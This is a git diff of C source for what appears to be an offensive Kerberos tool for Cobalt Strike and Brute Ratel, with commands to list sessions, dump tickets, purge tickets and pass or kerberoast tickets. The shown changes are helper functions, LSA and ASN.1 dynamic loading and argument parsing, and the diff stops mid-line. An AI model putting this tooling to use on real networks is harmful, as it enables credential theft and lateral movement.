GetNarrowStringFromUnicode(UNICODE_STRING src) { - int len = src.Length / sizeof(WCHAR); - char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char)); - if (dest == NULL) { - return "(mem_alloc_error)"; - } - MSVCRT$wcstombs(dest, src.Buffer, len); - dest[len] = '\0'; - return dest; -} - -char* GetNarrowString(WCHAR* src) { - int len = _wcslen(src); - char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char)); - if (dest == NULL) { - return "(mem_alloc_error)"; - } - MSVCRT$wcstombs(dest, src, len); - dest[len] = '\0'; - return dest; -} - -WCHAR* GetWideString(char* src) { +WCHAR *GetWideString(char *src) +{ int len = _strlen(src); - WCHAR* dest = (WCHAR*)MSVCRT$calloc(len + 1, sizeof(WCHAR)); - if (dest == NULL) { + WCHAR *dest = (WCHAR *)MSVCRT$calloc(len + 1, sizeof(WCHAR)); + if (dest == NULL) + { return NULL; } MSVCRT$mbstowcs(dest, src, len); @@ -263,47 +272,155 @@ WCHAR* GetWideString(char* src) { * */ -unsigned int _strlen(const char *str) { +unsigned int _strlen(const char *str) +{ const char *s = str; - while (*s) s++; + while (*s) + s++; return s - str; } -int _strcmp(const char *str1, const char *str2) { - while (*str1 && *str1 == *str2) { str1++; str2++; } - if ((unsigned char)*str1 > (unsigned char)*str2) return 1; - if ((unsigned char)*str1 < (unsigned char)*str2) return -1; +int _strcmp(const char *str1, const char *str2) +{ + while (*str1 && *str1 == *str2) + { + str1++; + str2++; + } + if ((unsigned char)*str1 > (unsigned char)*str2) + return 1; + if ((unsigned char)*str1 < (unsigned char)*str2) + return -1; return 0; } -void* _memcpy(void *dst, const void *src, size_t n) { - volatile unsigned char *d = dst; /* avoid gcc optimizations */ +char *_strcpy(char *dst, const char *src) +{ + char *d = dst; + while ((*d++ = *src++)) + ; + return dst; +} + +char *_strstr(const char *str, const char *sub) +{ + while (*str) + { + const char *p1 = str, *p2 = sub; + while (*p1 && *p2 && *p1 == *p2) + { + p1++; + p2++; + } + if (!*p2) + return (char *)str; + str++; + } + return NULL; +} + +void *_memcpy(void *dst, const void *src, size_t n) +{ + volatile unsigned char *d = dst; /* avoid gcc optimizations */ const unsigned char *s = src; if ((size_t)dst - (size_t)src >= n) { - while (n--) *d++ = *s++; + while (n--) + *d++ = *s++; } else { d += n - 1; s += n - 1; - while (n--) *d-- = *s--; + while (n--) + *d-- = *s--; } return dst; } -int _memcmp(const void *ptr1, const void *ptr2, size_t n) { +int _memcmp(const void *ptr1, const void *ptr2, size_t n) +{ const unsigned char *p1, *p2; for (p1 = ptr1, p2 = ptr2; n; n--, p1++, p2++) { - if (*p1 < *p2) return -1; - if (*p1 > *p2) return 1; + if (*p1 < *p2) + return -1; + if (*p1 > *p2) + return 1; } return 0; } +static inline void _memset_aligned_32(unsigned char *d, uint64_t v, size_t n) +{ + unsigned char *end = d + n; + while (d < end) + { + *(uint64_t *)(d + 0) = v; + *(uint64_t *)(d + 8) = v; + *(uint64_t *)(d + 16) = v; + *(uint64_t *)(d + 24) = v; + d += 32; + } +} + +void *_memset(void *dst, int c, size_t n) +{ + typedef uint64_t DECLSPEC_ALIGN(1) unaligned_ui64; + typedef uint32_t DECLSPEC_ALIGN(1) unaligned_ui32; + typedef uint16_t DECLSPEC_ALIGN(1) unaligned_ui16; + + uint64_t v = 0x101010101010101ull * (unsigned char)c; + unsigned char *d = (unsigned char *)dst; + size_t a = 0x20 - ((uintptr_t)d & 0x1f); + + if (n >= 16) + { + *(unaligned_ui64 *)(d + 0) = v; + *(unaligned_ui64 *)(d + 8) = v; + *(unaligned_ui64 *)(d + n - 16) = v; + *(unaligned_ui64 *)(d + n - 8) = v; + if (n <= 32) + return dst; + *(unaligned_ui64 *)(d + 16) = v; + *(unaligned_ui64 *)(d + 24) = v; + *(unaligned_ui64 *)(d + n - 32) = v; + *(unaligned_ui64 *)(d + n - 24) = v; + if (n <= 64) + return dst; + + n = (n - a) & ~0x1f; + _memset_aligned_32(d + a, v, n); + return dst; + } + if (n >= 8) + { + *(unaligned_ui64 *)d = v; + *(unaligned_ui64 *)(d + n - 8) = v; + return dst; + } + if (n >= 4) + { + *(unaligned_ui32 *)d = v; + *(unaligned_ui32 *)(d + n - 4) = v; + return dst; + } + if (n >= 2) + { + *(unaligned_ui16 *)d = v; + *(unaligned_ui16 *)(d + n - 2) = v; + return dst; + } + if (n >= 1) + { + *(uint8_t *)d = v; + return dst; + } + return dst; +} + /* * NTDLL wide-char functions * @@ -312,13 +429,136 @@ int _memcmp(const void *ptr1, const void *ptr2, size_t n) { * Copyright 2003 Thomas Mertes */ -unsigned int _wcslen(LPCWSTR str) { +unsigned int _wcslen(LPCWSTR str) +{ const WCHAR *s = str; - while (*s) s++; + while (*s) + s++; return s - str; } -int _wcscmp(LPCWSTR str1, LPCWSTR str2) { - while (*str1 && (*str1 == *str2)) { str1++; str2++; } +int _wcscmp(LPCWSTR str1, LPCWSTR str2) +{ + while (*str1 && (*str1 == *str2)) + { + str1++; + str2++; + } return *str1 - *str2; -} \ No newline at end of file +} + +HRESULT __stdcall _StringCchPrintfExA(STRSAFE_LPSTR pszDest, size_t cchDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, ...) +{ + HRESULT hr; + va_list argList; + if (cchDest > STRSAFE_MAX_CCH) + return STRSAFE_E_INVALID_PARAMETER; + va_start(argList, pszFormat); + hr = _StringVPrintfExWorkerA(pszDest, cchDest, cchDest, ppszDestEnd, pcchRemaining, dwFlags, pszFormat, argList); + va_end(argList); + return hr; +} + +HRESULT __stdcall _StringVPrintfExWorkerA(STRSAFE_LPSTR pszDest, size_t cchDest, size_t cbDest, STRSAFE_LPSTR *ppszDestEnd, size_t *pcchRemaining, unsigned __LONG32 dwFlags, STRSAFE_LPCSTR pszFormat, va_list argList) +{ + HRESULT hr = S_OK; + STRSAFE_LPSTR pszDestEnd = pszDest; + size_t cchRemaining = 0; + if (dwFlags & (~STRSAFE_VALID_FLAGS)) + hr = STRSAFE_E_INVALID_PARAMETER; + else + { + if (dwFlags & STRSAFE_IGNORE_NULLS) + { + if (!pszDest) + { + if ((cchDest != 0) || (cbDest != 0)) + hr = STRSAFE_E_INVALID_PARAMETER; + } + if (!pszFormat) + pszFormat = ""; + } + if (SUCCEEDED(hr)) + { + if (cchDest == 0) + { + pszDestEnd = pszDest; + cchRemaining = 0; + if (*pszFormat != '\0') + { + if (!pszDest) + hr = STRSAFE_E_INVALID_PARAMETER; + else + hr = STRSAFE_E_INSUFFICIENT_BUFFER; + } + } + else + { + int iRet; + size_t cchMax; + cchMax = cchDest - 1; + iRet = MSVCRT$_vsnprintf(pszDest, cchMax, pszFormat, argList); + if ((iRet < 0) || (((size_t)iRet) > cchMax)) + { + pszDestEnd = pszDest + cchMax; + cchRemaining = 1; + *pszDestEnd = '\0'; + hr = STRSAFE_E_INSUFFICIENT_BUFFER; + } + else if (((size_t)iRet) == cchMax) + { + pszDestEnd = pszDest + cchMax; + cchRemaining = 1; + *pszDestEnd = '\0'; + } + else if (((size_t)iRet) < cchMax) + { + pszDestEnd = pszDest + iRet; + cchRemaining = cchDest - iRet; + if (dwFlags & STRSAFE_FILL_BEHIND_NULL) + { + _memset(pszDestEnd + 1, STRSAFE_GET_FILL_PATTERN(dwFlags), ((cchRemaining - 1) * sizeof(char)) + (cbDest % sizeof(char))); + } + } + } + } + } + if (FAILED(hr)) + { + if (pszDest) + { + if (dwFlags & STRSAFE_FILL_ON_FAILURE) + { + _memset(pszDest, STRSAFE_GET_FILL_PATTERN(dwFlags), cbDest); + if (STRSAFE_GET_FILL_PATTERN(dwFlags) == 0) + { + pszDestEnd = pszDest; + cchRemaining = cchDest; + } + else if (cchDest > 0) + { + pszDestEnd = pszDest + cchDest - 1; + cchRemaining = 1; + *pszDestEnd = '\0'; + } + } + if (dwFlags & (STRSAFE_NULL_ON_FAILURE | STRSAFE_NO_TRUNCATION)) + { + if (cchDest > 0) + { + pszDestEnd = pszDest; + cchRemaining = cchDest; + *pszDestEnd = '\0'; + } + } + } + } + if (SUCCEEDED(hr) || (hr == STRSAFE_E_INSUFFICIENT_BUFFER)) + { + if (ppszDestEnd) + *ppszDestEnd = pszDestEnd; + if (pcchRemaining) + *pcchRemaining = cchRemaining; + } + return hr; +} diff --git a/source/compat.c b/source/compat.c new file mode 100644 index 0000000..0c3e46e --- /dev/null +++ b/source/compat.c @@ -0,0 +1,159 @@ +#include +#include "bofdefs.h" + +// From TrustedSec's CS-Situational-Awareness-BOF +typedef struct LoadedLibrary +{ + HMODULE hMod; + const char *name; +} LoadedLibrary, *PLoadedLibrary; +LoadedLibrary loadedLibraries[2] __attribute__((section(".data"))) = {0}; +DWORD loadedLibrariesCount __attribute__((section(".data"))) = 0; + +FARPROC DynamicLoad(const char *library, const char *function) +{ + FARPROC fp = NULL; + HMODULE hMod = NULL; + DWORD i = 0; + DWORD liblen = 0; + for (i = 0; i < loadedLibrariesCount; i++) + { + if (_strcmp(library, loadedLibraries[i].name) == 0) + { + hMod = loadedLibraries[i].hMod; + } + } + if (!hMod) + { + hMod = LoadLibraryA(library); + if (!hMod) + { + PRINT(NULL, "[!] Could not find library %s to load.\n", library); + return NULL; + } + loadedLibraries[loadedLibrariesCount].hMod = hMod; + loadedLibraries[loadedLibrariesCount].name = library; + loadedLibrariesCount++; + } + fp = GetProcAddress(hMod, function); + + if (NULL == fp) + { + PRINT(NULL, "[!] Could not find function %s.\n", function); + } + return fp; +} + +// secur32 +typedef NTSTATUS(WINAPI *_LsaGetLogonSessionData)(PLUID LogonId, PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData); +typedef NTSTATUS(WINAPI *_LsaFreeReturnBuffer)(PVOID Buffer); +typedef NTSTATUS(WINAPI *_LsaEnumerateLogonSessions)(PULONG LogonSessionCount, PLUID *LogonSessionList); +typedef NTSTATUS(WINAPI *_LsaRegisterLogonProcess)(PLSA_STRING LogonProcessName, PHANDLE LsaHandle, PLSA_OPERATIONAL_MODE SecurityMode); +typedef NTSTATUS(WINAPI *_LsaLookupAuthenticationPackage)(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage); +typedef NTSTATUS(WINAPI *_LsaCallAuthenticationPackage)(HANDLE LsaHandle, ULONG AuthenticationPackage, + PVOID ProtocolSubmitBuffer, ULONG SubmitBufferLength, + PVOID *ProtocolReturnBuffer, PULONG ReturnBufferLength, + PNTSTATUS ProtocolStatus); +typedef NTSTATUS(WINAPI *_LsaDeregisterLogonProcess)(HANDLE LsaHandle); +typedef NTSTATUS(WINAPI *_LsaConnectUntrusted)(PHANDLE LsaHandle); +typedef SECURITY_STATUS(WINAPI *_AcquireCredentialsHandleA)(SEC_CHAR *pszPrincipal, SEC_CHAR *pszPackage, + unsigned __LONG32 fCredentialUse, void *pvLogonId, + void *pAuthData, SEC_GET_KEY_FN pGetKeyFn, + void *pvGetKeyArgument, PCredHandle phCredential, + PTimeStamp ptsExpiry); +typedef SECURITY_STATUS(WINAPI *_InitializeSecurityContextA)( + PCredHandle phCredential, PCtxtHandle phContext, SEC_CHAR *pszTargetName, unsigned __LONG32 fContextReq, + unsigned __LONG32 Reserved1, unsigned __LONG32 TargetDataRep, PSecBufferDesc pInput, unsigned __LONG32 Reserved2, + PCtxtHandle phNewContext, PSecBufferDesc pOutput, unsigned __LONG32 *pfContextAttr, PTimeStamp ptsExpiry); +typedef SECURITY_STATUS(WINAPI *_FreeContextBuffer)(void *pvContextBuffer); +typedef SECURITY_STATUS(WINAPI *_DeleteSecurityContext)(PCtxtHandle phContext); +typedef SECURITY_STATUS(WINAPI *_FreeCredentialsHandle)(PCredHandle phCredential); + +#define SECUR32$LsaGetLogonSessionData ((_LsaGetLogonSessionData)DynamicLoad("SECUR32", "LsaGetLogonSessionData")) +#define SECUR32$LsaFreeReturnBuffer ((_LsaFreeReturnBuffer)DynamicLoad("SECUR32", "LsaFreeReturnBuffer")) +#define SECUR32$LsaEnumerateLogonSessions ((_LsaEnumerateLogonSessions)DynamicLoad("SECUR32", "LsaEnumerateLogonSessions")) +#define SECUR32$LsaRegisterLogonProcess ((_LsaRegisterLogonProcess)DynamicLoad("SECUR32", "LsaRegisterLogonProcess")) +#define SECUR32$LsaLookupAuthenticationPackage ((_LsaLookupAuthenticationPackage)DynamicLoad("SECUR32", "LsaLookupAuthenticationPackage")) +#define SECUR32$LsaCallAuthenticationPackage ((_LsaCallAuthenticationPackage)DynamicLoad("SECUR32", "LsaCallAuthenticationPackage")) +#define SECUR32$LsaDeregisterLogonProcess ((_LsaDeregisterLogonProcess)DynamicLoad("SECUR32", "LsaDeregisterLogonProcess")) +#define SECUR32$LsaConnectUntrusted ((_LsaConnectUntrusted)DynamicLoad("SECUR32", "LsaConnectUntrusted")) +#define SECUR32$AcquireCredentialsHandleA ((_AcquireCredentialsHandleA)DynamicLoad("SECUR32", "AcquireCredentialsHandleA")) +#define SECUR32$InitializeSecurityContextA ((_InitializeSecurityContextA)DynamicLoad("SECUR32", "InitializeSecurityContextA")) +#define SECUR32$FreeContextBuffer ((_FreeContextBuffer)DynamicLoad("SECUR32", "FreeContextBuffer")) +#define SECUR32$DeleteSecurityContext ((_DeleteSecurityContext)DynamicLoad("SECUR32", "DeleteSecurityContext")) +#define SECUR32$FreeCredentialsHandle ((_FreeCredentialsHandle)DynamicLoad("SECUR32", "FreeCredentialsHandle")) + +// msasn1 +typedef ASN1module_t(ASN1API *_ASN1_CreateModule)(ASN1uint32_t nVersion, ASN1encodingrule_e eRule, ASN1uint32_t dwFlags, + ASN1uint32_t cPDU, const ASN1GenericFun_t apfnEncoder[], + const ASN1GenericFun_t apfnDecoder[], + const ASN1FreeFun_t apfnFreeMemory[], const ASN1uint32_t acbStructSize[], + ASN1magic_t nModuleName); +typedef void(ASN1API *_ASN1_CloseModule)(ASN1module_t pModule); +typedef ASN1error_e(ASN1API *_ASN1_CreateEncoder)(ASN1module_t pModule, ASN1encoding_t *ppEncoderInfo, ASN1octet_t *pbBuf, + ASN1uint32_t cbBufSize, ASN1encoding_t pParent); +typedef ASN1error_e(ASN1API *_ASN1_Encode)(ASN1encoding_t pEncoderInfo, void *pDataStruct, ASN1uint32_t nPduNum, + ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize); +typedef void(ASN1API *_ASN1_CloseEncoder)(ASN1encoding_t pEncoderInfo); +typedef void(ASN1API *_ASN1_FreeEncoded)(ASN1encoding_t pEncoderInfo, void *pBuf); +typedef ASN1error_e(ASN1API *_ASN1_CreateDecoder)(ASN1module_t pModule, ASN1decoding_t *ppDecoderInfo, ASN1octet_t *pbBuf, + ASN1uint32_t cbBufSize, ASN1decoding_t pParent); +typedef ASN1error_e(ASN1API *_ASN1_Decode)(ASN1decoding_t pDecoderInfo, void **ppDataStruct, ASN1uint32_t nPduNum, + ASN1uint32_t dwFlags, ASN1octet_t *pbBuf, ASN1uint32_t cbBufSize); +typedef void(ASN1API *_ASN1_CloseDecoder)(ASN1decoding_t pDecoderInfo); +typedef void(ASN1API *_ASN1_FreeDecoded)(ASN1decoding_t pDecoderInfo, void *pDataStruct, ASN1uint32_t nPduNum); +typedef void(ASN1API *_ASN1bitstring_free)(ASN1bitstring_t *); +typedef void(ASN1API *_ASN1ztcharstring_free)(ASN1ztcharstring_t); +typedef void(ASN1API *_ASN1octetstring_free)(ASN1octetstring_t *); +typedef void(ASN1API *_ASN1intx_free)(ASN1intx_t *); +typedef int(ASN1API *_ASN1BERDecExplicitTag)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1decoding_t *dd, ASN1octet_t **di); +typedef int(ASN1API *_ASN1BERDecS32Val)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1int32_t *); +typedef int(ASN1API *_ASN1BERDecEndOfContents)(ASN1decoding_t dec, ASN1decoding_t dd, ASN1octet_t *di); +typedef int(ASN1API *_ASN1BERDecBitString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1bitstring_t *); +typedef int(ASN1API *_ASN1BERDecZeroCharString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1ztcharstring_t *); +typedef int(ASN1API *_ASN1BERDecPeekTag)(ASN1decoding_t dec, ASN1uint32_t *tag); +typedef int(ASN1API *_ASN1BERDecOctetString)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1octetstring_t *val); +typedef int(ASN1API *_ASN1BERDecNotEndOfContents)(ASN1decoding_t dec, ASN1octet_t *di); +typedef void *(ASN1API *_ASN1DecAlloc)(ASN1decoding_t dec, ASN1uint32_t size); +typedef void *(ASN1API *_ASN1DecRealloc)(ASN1decoding_t dec, void *ptr, ASN1uint32_t size); +typedef void(ASN1API *_ASN1Free)(void *ptr); +typedef int(ASN1API *_ASN1BERDecGeneralizedTime)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1generalizedtime_t *); +typedef int(ASN1API *_ASN1BERDecSXVal)(ASN1decoding_t dec, ASN1uint32_t tag, ASN1intx_t *); +typedef int(ASN1API *_ASN1BEREncExplicitTag)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t *pLengthOffset); +typedef int(ASN1API *_ASN1BEREncS32)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1int32_t); +typedef int(ASN1API *_ASN1BEREncEndOfContents)(ASN1encoding_t enc, ASN1uint32_t LengthOffset); +typedef int(ASN1API *_ASN1DEREncCharString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1char_t *val); +typedef int(ASN1API *_ASN1DEREncOctetString)(ASN1encoding_t enc, ASN1uint32_t tag, ASN1uint32_t len, ASN1octet_t *val); + +#define MSASN1$ASN1_CreateModule ((_ASN1_CreateModule)DynamicLoad("MSASN1", "ASN1_CreateModule")) +#define MSASN1$ASN1_CloseModule ((_ASN1_CloseModule)DynamicLoad("MSASN1", "ASN1_CloseModule")) +#define MSASN1$ASN1_CreateEncoder ((_ASN1_CreateEncoder)DynamicLoad("MSASN1", "ASN1_CreateEncoder")) +#define MSASN1$ASN1_Encode ((_ASN1_Encode)DynamicLoad("MSASN1", "ASN1_Encode")) +#define MSASN1$ASN1_CloseEncoder ((_ASN1_CloseEncoder)DynamicLoad("MSASN1", "ASN1_CloseEncoder")) +#define MSASN1$ASN1_FreeEncoded ((_ASN1_FreeEncoded)DynamicLoad("MSASN1", "ASN1_FreeEncoded")) +#define MSASN1$ASN1_CreateDecoder ((_ASN1_CreateDecoder)DynamicLoad("MSASN1", "ASN1_CreateDecoder")) +#define MSASN1$ASN1_Decode ((_ASN1_Decode)DynamicLoad("MSASN1", "ASN1_Decode")) +#define MSASN1$ASN1_CloseDecoder ((_ASN1_CloseDecoder)DynamicLoad("MSASN1", "ASN1_CloseDecoder")) +#define MSASN1$ASN1_FreeDecoded ((_ASN1_FreeDecoded)DynamicLoad("MSASN1", "ASN1_FreeDecoded")) +#define MSASN1$ASN1bitstring_free ((_ASN1bitstring_free)DynamicLoad("MSASN1", "ASN1bitstring_free")) +#define MSASN1$ASN1ztcharstring_free ((_ASN1ztcharstring_free)DynamicLoad("MSASN1", "ASN1ztcharstring_free")) +#define MSASN1$ASN1octetstring_free ((_ASN1octetstring_free)DynamicLoad("MSASN1", "ASN1octetstring_free")) +#define MSASN1$ASN1intx_free ((_ASN1intx_free)DynamicLoad("MSASN1", "ASN1intx_free")) +#define MSASN1$ASN1BERDecExplicitTag ((_ASN1BERDecExplicitTag)DynamicLoad("MSASN1", "ASN1BERDecExplicitTag")) +#define MSASN1$ASN1BERDecS32Val ((_ASN1BERDecS32Val)DynamicLoad("MSASN1", "ASN1BERDecS32Val")) +#define MSASN1$ASN1BERDecEndOfContents ((_ASN1BERDecEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecEndOfContents")) +#define MSASN1$ASN1BERDecBitString ((_ASN1BERDecBitString)DynamicLoad("MSASN1", "ASN1BERDecBitString")) +#define MSASN1$ASN1BERDecZeroCharString ((_ASN1BERDecZeroCharString)DynamicLoad("MSASN1", "ASN1BERDecZeroCharString")) +#define MSASN1$ASN1BERDecPeekTag ((_ASN1BERDecPeekTag)DynamicLoad("MSASN1", "ASN1BERDecPeekTag")) +#define MSASN1$ASN1BERDecOctetString ((_ASN1BERDecOctetString)DynamicLoad("MSASN1", "ASN1BERDecOctetString")) +#define MSASN1$ASN1BERDecNotEndOfContents ((_ASN1BERDecNotEndOfContents)DynamicLoad("MSASN1", "ASN1BERDecNotEndOfContents")) +#define MSASN1$ASN1DecAlloc ((_ASN1DecAlloc)DynamicLoad("MSASN1", "ASN1DecAlloc")) +#define MSASN1$ASN1DecRealloc ((_ASN1DecRealloc)DynamicLoad("MSASN1", "ASN1DecRealloc")) +#define MSASN1$ASN1Free ((_ASN1Free)DynamicLoad("MSASN1", "ASN1Free")) +#define MSASN1$ASN1BERDecGeneralizedTime ((_ASN1BERDecGeneralizedTime)DynamicLoad("MSASN1", "ASN1BERDecGeneralizedTime")) +#define MSASN1$ASN1BERDecSXVal ((_ASN1BERDecSXVal)DynamicLoad("MSASN1", "ASN1BERDecSXVal")) +#define MSASN1$ASN1BEREncExplicitTag ((_ASN1BEREncExplicitTag)DynamicLoad("MSASN1", "ASN1BEREncExplicitTag")) +#define MSASN1$ASN1BEREncS32 ((_ASN1BEREncS32)DynamicLoad("MSASN1", "ASN1BEREncS32")) +#define MSASN1$ASN1DEREncCharString ((_ASN1DEREncCharString)DynamicLoad("MSASN1", "ASN1DEREncCharString")) +#define MSASN1$ASN1DEREncOctetString ((_ASN1DEREncOctetString)DynamicLoad("MSASN1", "ASN1DEREncOctetString")) +#define MSASN1$ASN1BEREncEndOfContents ((_ASN1BEREncEndOfContents)DynamicLoad("MSASN1", "ASN1BEREncEndOfContents")) \ No newline at end of file diff --git a/source/entry.c b/source/entry.c index 39af859..956fc92 100644 --- a/source/entry.c +++ b/source/entry.c @@ -1,9 +1,11 @@ #include -#include #include "beacon.h" #include "bofdefs.h" #if defined(BOF) || defined(BRC4) +#ifdef CS_BOF +#include "compat.c" +#endif #include "common.c" #include "luid.c" #include "sessions.c" @@ -27,221 +29,236 @@ #include "kerberoast.h" #endif -void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4); +void execute(WCHAR **dispatch, char *command, int argc, char *argv[]); #ifdef BOF -void go(char* args, int length) { +void go(char *args, int length) +{ datap parser; BeaconDataParse(&parser, args, length); - char* command = BeaconDataExtract(&parser, NULL); - if (command == NULL) { + char *command = BeaconDataExtract(&parser, NULL); + if (command == NULL) + { command = ""; } - char* arg1 = BeaconDataExtract(&parser, NULL); - if (arg1 == NULL) { - arg1 = ""; + + char **argv = MSVCRT$calloc(5, sizeof(char *)); + int argc = 5; + for (int i = 0; i < argc; i++) + { + char *arg = BeaconDataExtract(&parser, NULL); + if (arg == NULL) + { + arg = ""; + } + argv[i] = arg; } - char* arg2 = BeaconDataExtract(&parser, NULL); - if (arg2 == NULL) { - arg2 = ""; - } - char* arg3 = BeaconDataExtract(&parser, NULL); - if (arg3 == NULL) { - arg3 = ""; - } - char* arg4 = BeaconDataExtract(&parser, NULL); - if (arg4 == NULL) { - arg4 = ""; - } - execute(NULL, command, arg1, arg2, arg3, arg4); + + execute(NULL, command, argc, argv); } #elif BRC4 -void coffee(char** argv, int argc, WCHAR** dispatch) { - char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = ""; - if (argc >= 1) { - command = argv[0]; +void coffee(char **argv, int argc, WCHAR **dispatch) +{ + if (argc >= 1) + { + char *command = ""; + if (argc >= 1) + { + command = argv[0]; + } + execute(dispatch, command, argc - 1, argv + 1); } - if (argc >= 2) { - arg1 = argv[1]; - } - if (argc >= 3) { - arg2 = argv[2]; - } - if (argc >= 4) { - arg3 = argv[3]; - } - if (argc >= 5) { - arg4 = argv[4]; - } - execute(dispatch, command, arg1, arg2, arg3, arg4); } #else -int main(int argc, char* argv[]) { - char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = ""; - if (argc >= 2) { - command = argv[1]; +int main(int argc, char *argv[]) +{ + if (argc >= 2) + { + char *command = ""; + if (argc >= 2) + { + command = argv[1]; + } + + execute(NULL, command, argc - 2, argv + 2); } - if (argc >= 3) { - arg1 = argv[2]; - } - if (argc >= 4) { - arg2 = argv[3]; - } - if (argc >= 5) { - arg3 = argv[4]; - } - if (argc >= 6) { - arg4 = argv[5]; - } - execute(NULL, command, arg1, arg2, arg3, arg4); return 0; } #endif -void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) { - if (_strcmp(command, "") == 0) { - PRINT(dispatch, "[!] Specify command.\n"); - return; +void execute(WCHAR **dispatch, char *command, int argc, char *argv[]) +{ + LUID *luid = NULL; + BOOL currentLuid = FALSE; + char *spn = NULL; + char *ticket = NULL; + + for (int i = 0; i < argc; i++) + { + char *arg = MSVCRT$calloc(_strlen(argv[i]) + 1, sizeof(char)); + if (arg == NULL) + { + PRINT(dispatch, "[!] Couldn't allocate memory.\n"); + return; + } + _strcpy(arg, argv[i]); + + char *argValue = _strstr(arg, ":"); + if (argValue != NULL) + { + *argValue = '\0'; + argValue++; + } + + if (_strcmp(arg, "/luid") == 0 && argValue != NULL && luid == NULL) + { + luid = MSVCRT$calloc(1, sizeof(LUID)); + luid->HighPart = 0; + luid->LowPart = MSVCRT$strtol(argValue, NULL, 16); + if (luid->LowPart <= 0) + { + MSVCRT$free(arg); + PRINT(dispatch, "[!] Invalid LUID value."); + return; + } + } + else if (_strcmp(arg, "/all") == 0 && luid == NULL) + { + luid = MSVCRT$calloc(1, sizeof(LUID)); + luid->HighPart = 0; + luid->LowPart = 0; + currentLuid = FALSE; + } + else if (_strcmp(arg, "/spn") == 0 && argValue != NULL) + { + spn = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char)); + _strcpy(spn, argValue); + } + else if (_strcmp(arg, "/ticket") == 0 && argValue != NULL) + { + ticket = MSVCRT$calloc(_strlen(argValue) + 1, sizeof(char)); + _strcpy(ticket, argValue); + } + + MSVCRT$free(arg); } - LUID luid = (LUID){.HighPart = 0, .LowPart = 0}; - BOOL currentLuid = FALSE; - - if (_strcmp(command, "luid") == 0) { + if (_strcmp(command, "luid") == 0) + { execute_luid(dispatch); - } else if ((_strcmp(command, "sessions") == 0) || (_strcmp(command, "klist") == 0) || - (_strcmp(command, "dump") == 0)) { - if (_strcmp(arg1, "") != 0) { - if (_strcmp(arg1, "/luid") == 0) { - if (_strcmp(arg2, "") != 0) { - luid.LowPart = MSVCRT$strtol(arg2, NULL, 16); - if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) { - PRINT(dispatch, "[!] Specify valid /luid\n"); - return; - } - } else { - PRINT(dispatch, "[!] Specify /luid argument\n"); - return; - } - } else if (_strcmp(arg1, "/all") == 0) { - luid = (LUID){.HighPart = 0, .LowPart = 0}; - } else { - PRINT(dispatch, "[!] Unknown command\n"); - return; - } - } else { - LUID* cLuid = GetCurrentLUID(); - if (cLuid == NULL) { + } + else if ( + _strcmp(command, "sessions") == 0 || + _strcmp(command, "klist") == 0 || + _strcmp(command, "dump") == 0 || + _strcmp(command, "purge") == 0) + { + if (luid == NULL) + { + luid = GetCurrentLUID(); + if (luid == NULL) + { PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError()); - return; + goto out; } - luid.HighPart = cLuid->HighPart; - luid.LowPart = cLuid->LowPart; currentLuid = TRUE; - MSVCRT$free(cLuid); } - if (_strcmp(command, "sessions") == 0) { - execute_sessions(dispatch, luid, currentLuid); - } else if (_strcmp(command, "klist") == 0) { - execute_klist(dispatch, luid, currentLuid, FALSE); - } else { - execute_klist(dispatch, luid, currentLuid, TRUE); + if (_strcmp(command, "sessions") == 0) + { + execute_sessions(dispatch, *luid, currentLuid); } - } else if (_strcmp(command, "ptt") == 0) { - char* ticket; - if (_strcmp(arg1, "") != 0) { - ticket = arg1; - if (_strcmp(arg2, "") != 0) { - if (_strcmp(arg2, "/luid") == 0) { - if (_strcmp(arg3, "") != 0) { - luid.LowPart = MSVCRT$strtol(arg3, NULL, 16); - if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) { - PRINT(dispatch, "[!] Specify valid /luid\n"); - return; - } - } - } - } else { - LUID* cLuid = GetCurrentLUID(); - if (cLuid == NULL) { - PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError()); - return; - } - luid.HighPart = cLuid->HighPart; - luid.LowPart = cLuid->LowPart; - currentLuid = TRUE; - MSVCRT$free(cLuid); - } - execute_ptt(dispatch, ticket, luid, currentLuid); - } else { - PRINT(dispatch, "[!] Specify Base64 encoded ticket\n"); - return; + else if (_strcmp(command, "klist") == 0) + { + execute_klist(dispatch, *luid, currentLuid, FALSE); } - } else if (_strcmp(command, "purge") == 0) { - if (_strcmp(arg1, "") != 0) { - if (_strcmp(arg1, "/luid") == 0) { - if (_strcmp(arg2, "") != 0) { - luid.LowPart = MSVCRT$strtol(arg2, NULL, 16); - if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) { - PRINT(dispatch, "[!] Specify valid /luid\n"); - return; - } - } else { - PRINT(dispatch, "[!] Specify /luid argument\n"); - return; - } - } else { - PRINT(dispatch, "[!] Unknown command\n"); - return; - } - } else { - LUID* cLuid = GetCurrentLUID(); - if (cLuid == NULL) { + else if (_strcmp(command, "dump") == 0) + { + execute_klist(dispatch, *luid, currentLuid, TRUE); + } + else + { + execute_purge(dispatch, *luid, currentLuid); + } + } + else if (_strcmp(command, "ptt") == 0) + { + if 